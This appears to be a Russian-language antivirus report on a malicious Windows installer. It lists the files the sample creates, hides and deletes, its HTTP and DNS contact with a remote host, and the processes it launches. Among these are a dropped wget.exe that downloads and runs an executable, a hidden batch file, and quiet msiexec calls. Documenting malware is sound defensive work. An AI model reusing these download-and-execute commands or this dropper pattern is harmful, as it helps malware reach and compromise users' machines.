Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- '' (загружен из сети Интернет)
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\~DF3C95.tmp
- %WINDIR%\Installer\26b16.ipi
- %WINDIR%\Installer\MSI3.tmp
- %WINDIR%\Installer\MSI4.tmp
- %TEMP%\~DF550C.tmp
- %TEMP%\MSI27ac4.LOG
- C:\Config.Msi\26b17.rbs
- <LS_APPDATA>\9pipi.ini
- <LS_APPDATA>\wget.exe
- %TEMP%\~1.bat
- <LS_APPDATA>\cmd.exe
- %WINDIR%\Installer\MSI2.tmp
- %WINDIR%\Installer\26b14.msi
- %CommonProgramFiles%\pipi_dae_484.exe
Присваивает атрибут 'скрытый' для следующих файлов:
- %TEMP%\~1.bat
Удаляет следующие файлы:
- C:\Config.Msi\26b17.rbs
- %WINDIR%\Installer\26b14.msi
- %WINDIR%\Installer\26b16.ipi
- %WINDIR%\Installer\MSI2.tmp
- %WINDIR%\Installer\MSI3.tmp
- %WINDIR%\Installer\MSI4.tmp
Сетевая активность:
Подключается к:
- 'dl.#ipi.cn':80
TCP:
Запросы HTTP GET:
- http://dl.#ipi.cn/pipi_dae_484.exe
UDP:
- DNS ASK dl.#ipi.cn
Другое:
Создает и запускает на исполнение:
- '%CommonProgramFiles%\pipi_dae_484.exe'
- '<LS_APPDATA>\cmd.exe' /i "<LS_APPDATA>\9pipi.ini" /quiet
- '<LS_APPDATA>\wget.exe' http://dl.#ipi.cn/pipi_dae_484.exe -O "%CommonProgramFiles%\pipi_dae_484.exe"
Запускает на исполнение:
- '<SYSTEM32>\msiexec.exe' -Embedding 1B5231179F9624B2270E498F8927B71C
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 10
- '<SYSTEM32>\cmd.exe' /c %TEMP%\~1.bat <Полный путь к файлу>
- '<SYSTEM32>\msiexec.exe' /V
